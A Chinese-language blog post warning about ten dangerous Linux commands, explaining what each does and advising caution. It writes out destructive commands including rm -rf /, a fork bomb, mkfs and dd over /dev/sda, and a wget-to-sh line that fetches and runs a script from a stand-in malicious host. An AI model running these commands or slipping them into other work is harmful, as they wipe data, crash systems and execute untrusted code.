banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

最危險的10個Linux命令

就像在 Windows 上一樣,Linux 也有很多終端命令來執行不同的操作。但是,與 Windows 不同,Linux 不會要求您確認是否運行任何可能損壞系統的命令。因此,我們建議您無論如何都不要使用這些命令。

當然,以下命令通常都是在 root 權限下才能將愚蠢發揮到無可救藥;在普通用戶身份下,破壞的只是自己的一畝三分地。

image

1 rm -rf 命令#

rm -rf 命令是刪除文件夾及其內容最快的方式之一。
僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。
下列是一些 rm 命令的選項:
1.rm 命令在 Linux 下通常用來刪除文件。
2.rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。
3.rm -f 命令能不經過詢問直接刪除‘只讀文件’。Linux 下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權限。所以,-f 這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的 rm 命令其實也是沒有刪除提示的,只是一般的發行版都會將 rm 通過別名的方式增加 - i 參數來要求刪除確認,而 - f 則抑制了這個提示。
4.rm -rf / : 強制刪除根目錄下所有東東。
5.rm -rf *: 強制刪除當前目錄的所有文件。
6.rm -rf . : 強制刪除當前文件夾及其子文件夾。
從現在起,當你要執行 rm -rf 命令時請留心一點。我們可以在 “.bashrc” 文件對‘rm‘命令創建 rm -i 的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用 - f 參數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)

2 :{:|:&};: 命令#

這就是個 fork 炸彈的實例。
具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。

3 命令 > /dev/sda#

這個命令會將某個‘命令‘的輸出寫到塊設備 /dev/sda 中。
該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

4 mv 文件夾 /dev/null#

這個命令會移動某個‘文件夾‘到 /dev/null。
在 Linux 中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
當然,要說明的是這個命令並不能阻止數據恢復軟件 —— 所以,真正的徹底毀滅,需要采用專用的軟件或者手法來完成。

5 wget http://malicious_source -O- | sh#

該命令會從一個(也許是)惡意源下載一個腳本並執行。
Wget 命令會下載這個腳本,而 sh 會(無條件的)執行下載下來的腳本。
注意:你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本 / 程序。

6 mkfs.ext3 /dev/sda#

上列命令會格式化塊設備‘sda’,在執行這個命令後你的塊設備 (硬盤驅動器) 會被格式化,直接讓你的系統達到不可恢復的階段。
通常我們不會直接使用 /dev/sda 這樣的設備,除非是作為 raw 設備使用。
一般都需要將 sda 分成類似 sda1、sda2 這樣的分區後才使用。當然,無論你使用 sda 還是 sda1,這樣對塊設備或分區進行 mkfs 都是毀滅性的,上面的數據都會被蒸發了。

7 > file#

這個命令常用來清空文件內容或記錄命令輸出。
不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了 —— 連數據恢復軟件都未必能幫助你了。
你可能真正想用的是 “>>”,即累加新的輸出到文件,而不是刷新那個文件。
如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf” 的命令會覆蓋配置文件或其他任何的系統配置文件。

8 ^foo^bar#

這個命令用來編輯先前運行的命令而無需重打整個命令。
用 foobar 命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。

9 dd if=/dev/random of=/dev/sda#

這個命令會向塊設備 sda 寫入隨機的垃圾文件從而擦除數據,讓你的系統可能陷入混亂和不可恢復的狀態。
記得上面說過 mv 到黑洞並不能徹底刪除數據麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。

10 隱藏命令#

下面的命令其實就是上面第一個命令 (rm -rf)。
這裡的代碼是隱藏在十六進制裡的,一個無知的用戶可能就會被愚弄,如果在終端裡運行下面命令可能會擦除你的根分區。
真正的危險是隱藏起來的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。
切記,千萬不要編譯/運行從未知來源的代碼。
今天給大家帶來的是個命令到這裡就結束了啦,請千萬記住不要再伺服器或者其他設備上隨意嘗試~
如果你想測試它們,請在虛擬機上運行,不然文件丟失或者系統崩潰就不好了。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。